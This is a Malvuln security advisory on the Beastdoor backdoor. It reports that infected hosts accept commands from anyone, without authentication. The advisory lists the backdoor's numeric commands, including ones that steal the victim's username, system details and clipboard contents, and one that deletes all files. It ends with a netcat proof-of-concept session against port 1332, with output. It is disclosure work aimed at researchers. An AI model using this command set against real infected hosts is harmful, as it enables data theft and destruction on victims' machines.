Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/6268df4c9c805c90725dde4fe5ef6fea.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Backdoor.Win32.Beastdoor.oq Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 1332, makes outbound connections to SMTP port 25 and executes a PE file named svchost.exe dropped in Windows directory. Third party adversaries who can reach an infected host can issue various numeric commands made available by the backdoor. Family: Beastdoor Type: PE32 MD5: 6268df4c9c805c90725dde4fe5ef6fea Vuln ID: MVID-2024-0674 Dropped files: svchost.exe Disclosure: 03/09/2024 Commands: 27 return victims username and computer information 5 or 19 will shutdown victims computer 6 restart victims computer 9 delete all files including program files 16 victim computer screen goes black 28 returns clipboard information 30 terminates the backdoor and deletes it from the system Exploit/PoC: C:\sec>nc64.exe x.x.x.x 1332 27 27 VICTIM DESKTOP-2C3IQHO Windows 8.1 Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHzC:\WINDOWS\C:\WINDOWS\system32\1565 x 8302.01svchost.exe svchost.exe 28 28 I dont like u 30 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).